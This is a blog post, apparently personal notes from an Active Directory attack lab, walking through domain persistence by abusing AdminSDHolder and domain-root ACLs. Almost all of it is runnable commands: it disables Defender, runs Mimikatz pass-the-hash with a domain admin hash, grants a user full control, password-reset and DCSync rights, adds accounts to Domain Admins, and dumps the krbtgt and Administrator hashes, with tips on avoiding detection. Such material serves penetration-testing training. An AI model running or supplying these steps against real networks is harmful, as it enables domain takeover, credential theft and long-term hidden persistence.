Skip to main content

Domain dominance Using ACL’s - AdminSDHolder, Part 7

 

Persistence using ACL's - AdminSDHolder

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-PowerView.ps1 -Session $sess

Enter-PSSession -Session $sess (PowerView will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

Now add full control permission for a user to the AdminSDHolder using powerview as DA:

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights All -Verbose

Other interesting permissions are reset passwords and write members:

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights ResetPassword -Verbose

This allows the student1 user to reset password of other users. 

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights WriteMembers -Verbose

This allows the user to add or remove a user from the group. 

To do the same using AD module:

Now from the domain admin privileged shell:

Import-Module .\ADModule-master\Microsoft.ActiveDirectory.Management.dll

Import-Module .\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

. .\Set-ADACL.ps1

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principle studentadmin -Verbose

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -Verbose

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Invoke-Command -FilePath .\Invoke-SDPropagator.ps1 -Session $sess

Enter-PSSession -Session $sess

Now you are in domain controller machine. From there run:

Invoke-SDPropagator -showProgress -timeoutMinutes 1

We can also execute the above by logging in to the dc directly. In that case we need to transfer our powerview or Ad module script in AD. As those scripts are present to the studentadmin machine so we launch the commands from studentadmin machine as DA. Later we login to dc and execute the propagator. 

Now come back to the domain admin privileged shell:

We need to check the permission is assigned perfectly or not:

. .\PowerView.ps1

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'student1'}

We can also check if student1 has dcsync rights through out the domain (The result come out as null if there is no such permission set to the user student1):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "student1") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

You should see that ActiveDirectoryRights is set as Genericall which means all rights. 

We can also add our user to the domain admins group using powerview_dev tool, but it is risky because it is audited frequently:

Add-DomainGroupMember -Identity 'Domain Admins' -Members testda -Verbose

We can do the same using AD Module:

Add-ADGroupMember -Identity 'Domain Admins' -Members testda

To view the user:

Get-ADUser -Identity testda

To view the domain admin group membership:

Get-ADGroupMember -Identity "domain admins"

Abusing reset password using powerview_dev. We can reset password of any domain admin or domain user in the domain. No need to add new user to the domain admin group:

Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainTest -Force) -Verbose

From AD module:

Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainTest -Force) -Verbose


There are more interesting acl's that can be abused. For example with DA privilege, domain root acl can be modified to allow a user full control rights or give the appropriate rights to apply dcsync attack:

From DA privileged shell:

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipleSamAccountName student1 -Rights All -Verbose

Using AD module:

Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -Verbose

The above may get caught. So we can give a user dcsync rights. 

Add rights for dcsync:

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipleSamAccountName student1 -Rights DCSync -Verbose

Using AD module:

Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -GUIDRight DCSync -Verbose

As your student1 user got dcsync rights and the rights is given by domain admin so now lets say after a gap of 6 month you come again and login to your student1 machine. You don't need a admin shell to run the dcsync attack. So from a non-admin shell:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

or

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\Administrator"'


Avi










Comments

Popular posts from this blog

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli or apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   --...

Installtion of SQLMutant tool

This tool is perfectly works on ubuntu 24 system. And I found it is not working properly in kali linux 24 version.   https://github.com/blackhatethicalhacking/SQLMutant/tree/main This tool need to use along with sqlmap tool. Showing this cheat sheet for kali or debian based system.  This tool actually analyze everything and give you the vulnerable url where sql injection is possible. You just need to use then sqlmap to exploit that.   Prerequisite: apt install pipx -y (for ubuntu) pip3 install uro or pipx install uro pipx ensurepath pipx completions  (not needed)  source ~/.bashrc   or restart system If go tool is not installed then run the below two commands first ( golang-go ) or follow this link to install go (https://mahimfiroj.blogspot.com/2024/12/installing-nuclei-in-kali.html) otherwise skip this step.   dpkg -l | grep packagename (Using this command you can check package is installed or not) apt install gccgo-go -y or apt install gol...

Installing nuclei and go tool in kali

 First you need to install go: https://go.dev/doc/install You need to download this go tool go1.23.4.linux-amd64.tar.gz by clicking the Download button.  Say you are root and download the tool in your Downloads directory. Now run the below command: tar -C /usr/local -xzf go1.23.4.linux-amd64.tar.gz (if this cmd fails then you need to move this tool to /usr/local folder then run this cmd tar -xzf  go1.23.4.linux-amd64.tar.gz) Now add /usr/local/go/bin to the PATH environment variable. You can do this by adding the following line to your $HOME/.profile or /etc/profile (for a system-wide installation): export PATH=$PATH:/usr/local/go/bin Now use the following command for immediate effect. Preventing you from log off then log back in: source $HOME/.profile go version (to check it is installed successfully) Install nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest or apt install nuclei nuclei -update-templates nuclei -u https://www.domain....